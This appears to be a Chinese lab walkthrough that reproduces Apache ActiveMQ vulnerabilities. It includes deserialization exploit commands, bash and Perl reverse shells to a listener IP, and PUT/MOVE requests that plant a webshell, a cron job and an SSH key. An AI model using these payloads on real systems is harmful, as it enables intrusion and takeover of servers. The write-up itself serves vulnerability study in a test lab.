目录
- 介绍
- CVE-2015-5254:Apache ActiveMQ任意代码执行漏洞
- 漏洞介绍 & 环境准备
- 漏洞发现
- Nuclei❌
- Vulmap✅
- 漏洞验证
- 漏洞利用
- CVE-2016-3088:Apache ActiveMQ Fileserver远程代码执行漏洞
- 漏洞发现
- Nuclei✅
- Vulmap✅
- MSF✅
- 第三方工具1(漏洞探测)✅
- 漏洞验证
- 方式1:写入webshell
- 方式2:写入crontab,自动化弹shell
- 方式3:写入ssh key
- CVE-2017-15709:Apache ActiveMQ 信息泄露漏洞
- 漏洞介绍 & 环境准备
- 漏洞验证
- CVE-2023-46604:Apache ActiveMQ 远程代码执行漏洞
- 漏洞介绍 & 环境准备
- 漏洞发现(针对linux系统)
- Nuclei❌
- MSF❌
- 第三方工具1(反弹shell)
- 第三方工具2(反弹shell)
- 第三方工具3(反弹shell)
- 漏洞发现(针对Windows系统)
- Nuclei❌
- MSF✅
- 参考
介绍
Apache ActiveMQ是美国阿帕奇(Apache)软件基金会所研发的一套开源的消息中间件,它支持Java消息服务、集群、Spring Framework等。随着中间件的启动,会打开两个端口,61616是工作端口,消息在这个端口进行传递;8161是Web管理页面端口。
Jetty 是一个开源的 servlet 容器,它为基于 Java 的 web 容器,例如 JSP 和 servlet 提供运行环境。ActiveMQ 5.0 及以后版本默认集成了jetty。在启动后提供一个监控 ActiveMQ 的 Web 应用。
CVE-2015-5254:Apache ActiveMQ任意代码执行漏洞
漏洞介绍 & 环境准备
**漏洞原理:**Apache ActiveMQ 5.13.0之前5.x版本中存在安全漏洞,该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的Java Message Service(JMS)ObjectMessage对象利用该漏洞执行任意代码。
影响范围:Apache ActiveMQ 5.x ~ Apache ActiveMQ 5.13.0
修复方式:目前官方已有可更新版本,建议受影响用户升级至最新版本。
参考链接:https://ti.qianxin.com/vulnerability/detail/1509
漏洞复现参考:https://blog.csdn.net/hellohahi/article/details/122418168
环境搭建:
cd vulhub-master/activemq/CVE-2015-5254docker-compose up -ddocker psdocker-compose down
运行环境后,会建立61616和8161这两个端口。
其中61616端口是工作端口,消息在这个端口上传递;8161端口为网页管理页面端口。访问8161端口,可以看到web管理页面,但是这个漏洞理论上不需要web。
使用默认密码(admin/admin)登录,可以看到ActiveMQ版本是5.11.1,属于ActiveMQ 反序列化漏洞 (CVE-2015-5254)的影响版本范围。
漏洞发现
Nuclei❌
Nuclei的漏洞列表里没有此漏洞!但是Nuclei检测到了两个默认口令以及CVE-2016-3088
Vulmap✅
项目地址:https://github.com/zhzyker/vulmap
漏洞验证
- 生成序列化的有效负载(可以使用 ysoserial)
- 作为一个消息,将有效负载发送到端口 61616
- 访问web管理页面并读取序列化消息,然后就可以触发这个漏洞了。
通过nmap扫描目标靶机端口和服务版本信息,发现目标开放的61616端口上承载apachemq ActiveMQ服务。
- 首先在攻击机上下载jmet的jar(Java 消息利用工具)文件,然后在同目录下创建external文件夹。(否则可能会出现文件夹不存在的错误)
# 下载jmet的jar包wget https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar# 创建external目录mkdir external
- 执行命令,将有效负载发送到目标IP的61616端口。
【命令解释】:调用java -jar 运行 jmet的jar包,-Q是插入一个名为event的队列,-I 是选择装载ActiveMQ模块 ,-s 是选择ysoserial payload ,-Y 是攻击模式和内容, -Yp 是选择攻击利用链,这是选择是ROME, 之后带上IP加端口。
-Q 比如我修改event为hack 就成为插入一个名为hack的队列。
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/sucess" -Yp ROME 192.168.229.140 61616
- 这时,会给目标ActiveMQ添加一个event列,我们可以通过
/admin/browse.jsp" />
点击查看这条消息即可触发命令执行
点击一下
登录ActiveMQ容器环境docker exec -it [容器ID] bash
,查看命令已经执行成功,/tmp/sucess
文件已成功创建。
漏洞利用
反弹shell到vps上
- 将命令替换成弹shell的语句再利用
- 将反弹语句bese64编码
- vps开启端口监听
生成反弹shell的命令,对文本进行base64编码:https://www.iamwawa.cn/base64.html
bash -i >& /dev/tcp/192.168.229.128/6666 0>&1bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIyOS4xMjgvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}
执行弹shell命令(这里记住ID号,后面会用到)
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIyOS4xMjgvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}" -Yp ROME 192.168.229.140 61616
通过/admin/browse.jsp" />
点击之后,即可执行命令,反弹shell
CVE-2016-3088:Apache ActiveMQ Fileserver远程代码执行漏洞
**漏洞原理:**ActiveMQ的web控制台分三个应用,admin、api和fileserver,其中admin是管理员页面,api是接口,fileserver是储存文件的接口;admin和api都需要登录后才能使用,fileserver无需登录。
本漏洞出现在fileserver应用中,漏洞原理其实非常简单,就是fileserver支持写入文件(但不解析jsp),同时支持移动文件(MOVE请求)。所以,我们只需要写入一个文件,然后使用MOVE请求将其移动到任意位置,造成任意文件写入漏洞。
影响范围:Apache ActiveMQ <= 5.13.3
修复方式:目前官方已有可更新版本,建议受影响用户升级至最新版本。
参考链接:https://ti.qianxin.com/vulnerability/detail/13372
漏洞复现参考:https://blog.csdn.net/m0_51683653/article/details/129240528
https://github.com/vulhub/vulhub/blob/master/activemq/CVE-2016-3088/README.zh-cn.md
环境搭建:cd vulhub-master/activemq/CVE-2016-3088docker-compose up -ddocker psdocker-compose down
漏洞发现
Nuclei✅
Nuclei检测到了两个默认口令以及CVE-2016-3088
Vulmap✅
项目地址:https://github.com/zhzyker/vulmap
MSF✅
search CVE-2016-3088exploit/multi/http/apache_activemq_upload_jspset RHOSTS 192.168.229.140exploit
第三方工具1(漏洞探测)✅
项目地址:https://github.com/YutuSec/ActiveMQ_Crack
漏洞验证
我们只需要写入一个文件,然后使用MOVE请求将其移动到任意位置,造成任意文件写入漏洞。
文件写入有几种利用方法:- 写入webshell
- 写入cron或ssh key等文件
- 写入jar或jetty.xml等库和配置文件
写入webshell的好处是,门槛低更方便,但前面也说了fileserver不解析jsp,admin和api两个应用都需要登录才能访问,所以有点鸡肋;写入cron或ssh key,好处是直接反弹拿shell,也比较方便,缺点是需要root权限;写入jar,稍微麻烦点(需要jar的后门),写入xml配置文件,这个方法比较靠谱,但有个鸡肋点是:我们需要知道activemq的绝对路径。
分别说一下上述几种利用方法。方式1:写入webshell
前面说了,写入webshell,需要写在admin或api应用中,而这俩应用都需要登录才能访问。
默认的ActiveMQ账号密码均为admin
,首先访问http://your-ip:8161/admin/test/systemProperties.jsp
,查看ActiveMQ的绝对路径:需要知道ActiveMQ的绝对路径需要能登录admin或者api
- 上传webshell(这里使用冰蝎的 jsp 马):
这里上传的文件名以及后缀可以随意(可以是txt或者jsp),毕竟后面还得通过MOVE方法修改
PUT /fileserver/2.txt HTTP/1.1Host: localhost:8161Accept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Length: 120976webshell...
此时可以访问到马子了:http://192.168.229.140:8161/fileserver/2.txt
- 移动到web目录下的api文件夹(/opt/activemq/webapps/api/s.jsp)中:
ActiveMQ的web控制台分三个应用,admin、api和fileserver,其中admin是管理员页面,api是接口,fileserver是储存文件的接口。
利用MOVE,可以将木马文件移动到api或者adminMOVE /fileserver/2.txt HTTP/1.1Destination: file:///opt/activemq/webapps/api/s.jspHost: localhost:8161Accept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Length: 0
- 访问一下,看起来上传成功了:
http://192.168.229.140:8161/api/s.jsp
- 连接webshell
需要设置一下请求头
找到了上传的马子
方式2:写入crontab,自动化弹shell
需要运行ActiveMQ的用户有root权限服务器开启了cron服务运行ActiveMQ的用户有使用crontab的权限
这里有个坑,docker中没有crontab必须自己安装,官网下载apache-activemq-5.7.0-bin.tar搭建环境。
下载地址:https://activemq.apache.org/download-archives.html- 环境准备
tar -zxvf apache-activemq-5.7.0-bin.tar.gz cd apache-activemq-5.7.0/bin/./activemq start
这是一个比较稳健的方法。首先上传cron配置文件(注意,换行一定要
\n
,不能是\r\n
,否则crontab执行会失败):PUT /fileserver/1.txt HTTP/1.1Host: localhost:8161Accept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Length: 248*/1 * * * * root /usr/bin/perl -e 'use Socket;$i="10.0.0.1";$p=21;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
将其移动到/etc/cron.d/root
:MOVE /fileserver/1.txt HTTP/1.1Destination: file:///etc/cron.d/rootHost: localhost:8161Accept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Length: 0
如果上述两个请求都返回204了,说明写入成功。等待反弹shell
【不知道为什么,反弹失败】方式3:写入ssh key
这里有个坑,无法SSH连接docker靶场,官网下载apache-activemq-5.7.0-bin.tar搭建环境。
下载地址:https://activemq.apache.org/download-archives.html需要运行ActiveMQ的用户有root权限需要服务器开启了ssh服务,并且攻击机可以连接
- 环境准备
tar -zxvf apache-activemq-5.7.0-bin.tar.gz cd apache-activemq-5.7.0/bin/./activemq start
- 端口探测
服务器端口:22、8161和61616端口可达
- 开始攻击
上传我们的 ssh 公钥,从而实现 SSH 方式登录
ssh-keygen -t rsa
PUT /fileserver/1.txt HTTP/1.1Host: 192.168.229.141:8161Accept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Length: 562ssh-rsa[SSH公钥]
移动到/root/.ssh/
并重命名为authorized_keys
MOVE /fileserver/1.txt HTTP/1.1Destination: file:///root/.ssh/authorized_keysHost: 192.168.229.141:8161Accept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Length: 0
- SSH登录目标系统
CVE-2017-15709:Apache ActiveMQ 信息泄露漏洞
漏洞介绍 & 环境准备
**漏洞原理:**在 ActiveMQ 版本 5.14.0 到 5.15.2 中使用 OpenWire 协议时,发现某些系统详细信息(例如操作系统和内核版本)以纯文本形式公开。
影响范围:5.14.0 <= Apache ActiveMQ <= 5.15.2
修复方式:目前官方已有可更新版本,建议受影响用户升级至最新版本。
参考链接:https://ti.qianxin.com/vulnerability/detail/43276
漏洞复现参考:https://blog.csdn.net/weixin_44047654/article/details/128033283
环境搭建:使用在线靶场https://vulfocus.cn/漏洞验证
使用telnet访问容器 61616端口映射出的端口,就可以看到泄露的信息。
此处,靶场对外映射的端口是25303
CVE-2023-46604:Apache ActiveMQ 远程代码执行漏洞
漏洞介绍 & 环境准备
**漏洞原理:**Apache ActiveMQ 容易受到远程代码执行漏洞的攻击。该漏洞可能允许对 broker 具有网络访问权限的远程攻击者通过操纵 OpenWire 协议中的序列化类类型来实例化类路径上的任何类,最终可能导致运行任意 shell 命令。
影响范围:5.18.0<=Apache ActiveMQ<5.18.35.17.0<=Apache ActiveMQ<5.17.65.16.0<=Apache ActiveMQ<5.16.7Apache ActiveMQ<5.15.165.18.0<=Apache ActiveMQ Legacy OpenWire Module<5.18.35.8.0<=Apache ActiveMQ Legacy OpenWire Module<5.15.165.16.0<=Apache ActiveMQ Legacy OpenWire Module<5.16.75.17.0<=Apache ActiveMQ Legacy OpenWire Module<5.17.6
修复方式:目前官方已有可更新版本,建议受影响用户升级至最新版本。
参考链接:https://ti.qianxin.com/vulnerability/detail/316432
漏洞复现参考:https://blog.csdn.net/qq_41904294/article/details/134066087
**环境搭建:**下载地址:https://activemq.apache.org/download-archives.htmltar -zxvf ./apache-activemq-5.18.1-bin.tar.gzcd apache-activemq-5.18.1/bin/./activemq start./activemq stop
默认情况下,无法访问控制台,进入ActiveMQ安装目录下的
conf
文件夹,找到jetty.xml
,修改为0.0.0.0后重启ActiveMQ即可。
登录系统,系统版本是有漏洞的。
漏洞发现(针对linux系统)
Nuclei❌
Nuclei是有相关POC的,但是没有扫描出来
MSF❌
仅支持windows的payload,因此无法针对linux系统反弹shell
search CVE-2023-46604use exploit/multi/misc/apache_activemq_rce_cve_2023_46604set RHOSTS 192.168.229.141exploitshow payloads
第三方工具1(反弹shell)
项目地址:https://github.com/sule01u/CVE-2023-46604
反弹shell的xml文件:<beans xmlns="http://www.springframework.org/schema/beans"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"><bean id="pb" class="java.lang.ProcessBuilder" init-method="start"><constructor-arg><list><value>bash</value><value>-c</value><value>& /dev/tcp/your-ip/6666 0>&1]]></value></list></constructor-arg></bean></beans>
第三方工具2(反弹shell)
项目地址:https://github.com/JaneMandy/ActiveMQ_RCE_Pro_Max
反弹shell的xml文件:<beans xmlns="http://www.springframework.org/schema/beans"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"><bean id="pb" class="java.lang.ProcessBuilder" init-method="start"><constructor-arg><list><value>bash</value><value>-c</value><value>& /dev/tcp/your-ip/6666 0>&1]]></value></list></constructor-arg></bean></beans>
- JDK11启动工具
C:\jdk-11\bin\java.exe -jar ActiveMQ_RCE_GUI_v1.0.3.jar
- 反弹shell
第三方工具3(反弹shell)
教程参考:https://blog.csdn.net/qq_41904294/article/details/134066087
项目地址:https://github.com/trganda/ActiveMQ-RCE
直接运行会发现报错:java: 警告: 源发行版 11 需要目标发行版 11,配置一下就行了
漏洞发现(针对Windows系统)
确认关闭了防火墙
漏洞给复现参考:https://mp.weixin.qq.com/s/qWr3z0KYB5Pg6a7dE-07Wg
启动环境
Nuclei❌
Nuclei是有相关POC的,但是没有扫描出来
MSF✅
search CVE-2023-46604use exploit/multi/misc/apache_activemq_rce_cve_2023_46604set RHOSTS 192.168.229.141exploitset SRVPORT 8081exploit
参考
activemq介绍及漏洞总结